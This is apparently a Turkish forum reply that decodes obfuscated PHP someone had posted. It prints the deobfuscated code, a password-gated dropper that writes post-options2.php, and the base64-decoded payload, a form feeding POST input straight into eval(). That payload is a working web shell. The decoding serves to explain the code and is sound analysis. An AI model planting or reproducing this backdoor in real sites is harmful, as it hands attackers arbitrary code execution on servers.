Hexdecoder ile isinizi halledebilirsiniz. Verdiginiz kodun decode edilmis hali:

<?php ${"GLOBALS"}["scabkesltoy"]="write";${"GLOBALS"}["bttrjhmtzrh"]="handle";${"GLOBALS"}["vmyoqoecwlb"]="pass";echo"<form action="".htmlentities($_SERVER["PHP_SELF"])."\" method="POST\">\n<input type=\"text" name="pass">\n</form>";if(isset($_POST["pass"])){$qpsmfiwrup="pass";${"GLOBALS"}["zolediugpqlo"]="pass";${${"GLOBALS"}["zolediugpqlo"]}=$_POST["pass"];${${"GLOBALS"}["vmyoqoecwlb"]}=md5(${$qpsmfiwrup});${"GLOBALS"}["evllidfxe"]="pass";if(${${"GLOBALS"}["evllidfxe"]}=="74de93ea7190af06e3e7413af75a046a"){$kqzdifrfs="handle";${$kqzdifrfs}=fopen("post-options2.php","w");fclose(${${"GLOBALS"}["bttrjhmtzrh"]});${${"GLOBALS"}["scabkesltoy"]}="<?php eval(base64_decode('ZWNobyAiPGZvcm0gYWN0aW9uPVwicG9zdC1vcHRpb25zMi5waHBcIiBtZXRob2Q9XCJQT1NUXCI+CjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJ3cml0aW5nXCI+CjwvZm9ybT4iOyAKZXJyb3JfcmVwb3J0aW5nKDApOwokd3JpdGluZz0kX1BPU1RbJ3dyaXRpbmcnXTsKJHdyaXRpbmc9c3RyaXBzbGFzaGVzKCR3cml0aW5nKTsKZXZhbCgkd3JpdGluZyk7')); ?>";file_put_contents("post-options2.php",${${"GLOBALS"}["scabkesltoy"]});}}?>

Icindeki base64 ile sifrelenmis kisimin da cozulmus hali:

echo "<form action=\"post-options2.php\" method=\"POST\">
<input type=\"text\" name=\"writing\">
</form>"; 
error_reporting(0);
$writing=$_POST['writing'];
$writing=stripslashes($writing);
eval($writing);